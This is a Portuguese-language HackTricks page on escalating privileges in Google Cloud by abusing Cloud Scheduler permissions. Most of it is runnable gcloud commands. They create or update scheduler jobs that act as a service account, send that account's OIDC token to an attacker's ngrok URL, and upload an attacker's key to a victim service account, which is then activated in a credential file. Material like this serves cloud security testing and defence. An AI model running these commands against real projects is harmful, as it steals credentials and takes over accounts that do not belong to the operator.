GCP - Cloud Scheduler Privesc

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloud Scheduler

Mais informações em:

GCP - Cloud Scheduler Enum

cloudscheduler.jobs.create, iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

Um atacante com essas permissões poderia explorar Cloud Scheduler para autenticar jobs cron como uma Conta de Serviço específica. Ao elaborar uma solicitação HTTP POST, o atacante agenda ações, como criar um bucket de Storage, para serem executadas sob a identidade da Conta de Serviço. Este método aproveita a capacidade do Scheduler de direcionar endpoints *.googleapis.com e autenticar solicitações, permitindo que o atacante manipule endpoints da API do Google diretamente usando um simples comando gcloud.

  • Contate qualquer API do google via googleapis.com com cabeçalho de token OAuth

Crie um novo bucket de Storage:

bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1

Para escalar privilégios, um atacante simplesmente cria uma solicitação HTTP direcionada à API desejada, se passando pela Conta de Serviço especificada

  • Exfiltrar token da conta de serviço OIDC
bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

Se você precisar verificar a resposta HTTP, pode simplesmente dar uma olhada nos logs da execução.

cloudscheduler.jobs.update, iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

Como no cenário anterior, é possível atualizar um scheduler já criado para roubar o token ou realizar ações. Por exemplo:

bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

Outro exemplo para fazer upload de uma chave privada para um SA e se passar por ele:

bash
# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
-keyout /tmp/private_key.pem \
-out /tmp/public_key.pem \
-subj "/CN=unused"

# Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem)
new_size=$((file_size - 1))
truncate -s $new_size /tmp/public_key.pem

# Update scheduler to upload the key to a SA
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1 \
--schedule='* * * * *' \
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
--update-headers "Content-Type=application/json" \
--location us-central1 \
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

# Wait 1 min
sleep 60

# Check the logs to check it worked
gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project <project-id> --format=json

## If any  '"status": 200'  it means it worked!
## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400

# Build the json to contact the SA
## Get privatekey in json format
file_content=$(<"/tmp/private_key.pem")
private_key_json=$(jq -Rn --arg str "$file_content" '$str')

## Get ID of the generated key
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

# Create the json in a file
## NOTE that you need to export your project-id in the env var PROJECT_ID
## and that this script is expecting the key ID to be the first one (check the `head`)
export PROJECT_ID=...
cat > /tmp/lab.json <<EOF
{
"type": "service_account",
"project_id": "$PROJECT_ID",
"private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
"private_key": $private_key_json,
"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
"client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"
}
EOF

# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks